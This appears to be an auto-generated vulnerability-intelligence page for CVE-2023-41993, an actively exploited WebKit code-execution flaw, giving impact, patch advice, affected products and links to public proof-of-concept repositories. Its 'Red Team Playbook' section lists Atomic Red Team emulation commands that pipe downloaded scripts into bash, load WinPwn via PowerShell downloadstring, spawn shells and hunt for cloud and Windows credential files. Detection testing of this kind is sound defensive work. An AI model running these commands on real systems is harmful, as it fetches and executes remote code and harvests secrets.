CVE-2023-41993
Overview
This vulnerability arises from insufficient validation of web content processing in Apple macOS and related operating systems. The root cause is a failure in input handling within the web content rendering component, allowing untrusted data to bypass security checks. The flaw affects the web content processing engine across multiple Apple platforms including macOS, iOS, and iPadOS.
Vulnerability Description
The issue was addressed with improved checks. This issue is fixed in macOS Sonoma 14. Processing web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited against versions of iOS before iOS 16.7.
Impact
An attacker can execute arbitrary code remotely by convincing a user to process malicious web content, without needing authentication but requiring user interaction. This can lead to complete compromise of the affected device, including unauthorized access to sensitive data, installation of persistent malware, or lateral movement within a network. The exploitation can result in full system control under the privileges of the user running the web content process, severely impacting confidentiality, integrity, and availability of the system.
Solution
Apple addressed this vulnerability by releasing macOS Sonoma 14 and iOS 16.7 with improved input validation in the web content processing engine. Users and administrators should apply these updates promptly. Detailed patch instructions and advisories are available at https://support.apple.com/en-us/HT213940. Additional vendor advisories from Gentoo and NetApp provide supplemental mitigation guidance relevant to affected Fedora systems and network appliances.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question arises from inadequate checks during the processing of web content, which can lead to arbitrary code execution. This flaw primarily affects various versions of macOS, iOS, and other operating systems that utilize the affected web rendering engine. The underlying issue is rooted in how the software handles untrusted input, allowing an attacker to craft malicious web content that, when rendered, can execute arbitrary code on the user's device. The severity of this vulnerability is underscored by its high CVSS score of 8.8, indicating a significant risk to users and systems that have not been updated to the latest versions.
Attack vectors for this vulnerability are primarily web-based, where users are lured into visiting a malicious website or interacting with compromised web content. This could occur through phishing campaigns, social engineering tactics, or even through legitimate-looking advertisements on compromised websites. Once the user interacts with the malicious content, the attacker gains the ability to execute arbitrary code, potentially leading to a complete takeover of the affected device. This exploitation can be particularly dangerous on mobile devices, where users may have less awareness of security risks and may not have robust security measures in place.
The real-world impact of this vulnerability is considerable, especially given reports of active exploitation against earlier versions of iOS. Organizations that rely on Apple products for business operations face significant risks, including data breaches, unauthorized access to sensitive information, and potential disruptions to business continuity. The ability for attackers to execute arbitrary code can lead to the installation of malware, data exfiltration, or even the deployment of ransomware. The financial implications can be severe, with costs associated with incident response, legal liabilities, and reputational damage.
To detect and mitigate the risks associated with this vulnerability, organizations should prioritize updating affected systems to the latest versions, such as macOS Sonoma 14 and the corresponding iOS updates. Regular patch management practices are essential to ensure that all software components are up to date and secure. Additionally, employing web filtering solutions can help block access to known malicious sites, while user education programs can raise awareness about the risks of interacting with untrusted web content. Implementing endpoint protection solutions that can detect and respond to suspicious activities is also crucial in mitigating the potential impact of exploitation.
In conclusion, the vulnerability presents a significant threat to users of affected Apple products and other platforms that utilize the flawed web rendering engine. The potential for arbitrary code execution poses serious risks, necessitating immediate attention from both individual users and organizations. By adopting proactive detection and mitigation strategies, stakeholders can better protect their systems and data from the ramifications of this vulnerability.
Affected Products (19)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
|
|
|
Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
|
|
|
Apple | Macos | All |
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*
|
|
|
Fedoraproject | Fedora | 37 |
cpe:2.3:o:fedoraproject:fedora:37:*:*:*:*:*:*:*
|
|
|
Fedoraproject | Fedora | 38 |
cpe:2.3:o:fedoraproject:fedora:38:*:*:*:*:*:*:*
|
|
|
Fedoraproject | Fedora | 39 |
cpe:2.3:o:fedoraproject:fedora:39:*:*:*:*:*:*:*
|
|
|
Debian | Debian Linux | 11.0 |
cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*
|
|
|
Debian | Debian Linux | 12.0 |
cpe:2.3:o:debian:debian_linux:12.0:*:*:*:*:*:*:*
|
|
|
Oracle | Graalvm | 20.3.13 |
cpe:2.3:a:oracle:graalvm:20.3.13:*:*:*:enterprise:*:*:*
|
|
|
Oracle | Graalvm | 21.3.9 |
cpe:2.3:a:oracle:graalvm:21.3.9:*:*:*:enterprise:*:*:*
|
|
|
Oracle | Jdk | 1.8.0 |
cpe:2.3:a:oracle:jdk:1.8.0:update401:*:*:*:*:*:*
|
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|
Oracle | Jre | 1.8.0 |
cpe:2.3:a:oracle:jre:1.8.0:update401:*:*:*:*:*:*
|
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Netapp | Active Iq Unified Manager | N/A |
cpe:2.3:a:netapp:active_iq_unified_manager:-:*:*:*:*:vsphere:*:*
|
|
|
Netapp | Active Iq Unified Manager | N/A |
cpe:2.3:a:netapp:active_iq_unified_manager:-:*:*:*:*:windows:*:*
|
|
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Netapp | Cloud Insights Acquisition Unit | N/A |
cpe:2.3:a:netapp:cloud_insights_acquisition_unit:-:*:*:*:*:*:*:*
|
|
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Netapp | Cloud Insights Storage Workload Security Agent | N/A |
cpe:2.3:a:netapp:cloud_insights_storage_workload_security_agent:-:*:*:*:*:*:*:*
|
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Netapp | Oncommand Insight | N/A |
cpe:2.3:a:netapp:oncommand_insight:-:*:*:*:*:*:*:*
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|
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Netapp | Oncommand Workflow Automation | N/A |
cpe:2.3:a:netapp:oncommand_workflow_automation:-:*:*:*:*:*:*:*
|
|
|
Webkitgtk | Webkitgtk\+ | All |
cpe:2.3:a:webkitgtk:webkitgtk\+:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (5)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
po6ix/POC-for-CVE-2023-41993
|
po6ix | 202 | 37 | 2023-10-15 | View |
|
hrtowii/cve-2023-41993-test
testing poc
|
hrtowii | 16 | 9 | 2023-10-16 | View |
|
0x06060606/CVE-2023-41993
CVE-2023-41993
|
0x06060606 | 5 | 2 | 2023-10-16 | View |
|
J3Ss0u/CVE-2023-41993
|
J3Ss0u | 0 | 0 | 2024-02-28 | View |
|
Mangaia/cve-test
testing cve-2023-41993-test
|
Mangaia | 0 | 0 | 2023-10-20 | View |
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (8)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-41993 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/HT213940 |
| security.gentoo.org |
GitHub CVE
|
https://security.gentoo.org/glsa/202401-33 |
| security.netapp.com |
GitHub CVE
|
https://security.netapp.com/advisory/ntap-20240426-0004/ |
| support.apple.com |
NVD API
Vendor Advisory
|
https://support.apple.com/kb/HT213926 |
| support.apple.com |
NVD API
Vendor Advisory
|
https://support.apple.com/kb/HT213930 |
| webkitgtk.org |
NVD API
Third Party Advisory
|
https://webkitgtk.org/security/WSA-2023-0009.html |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-41993 |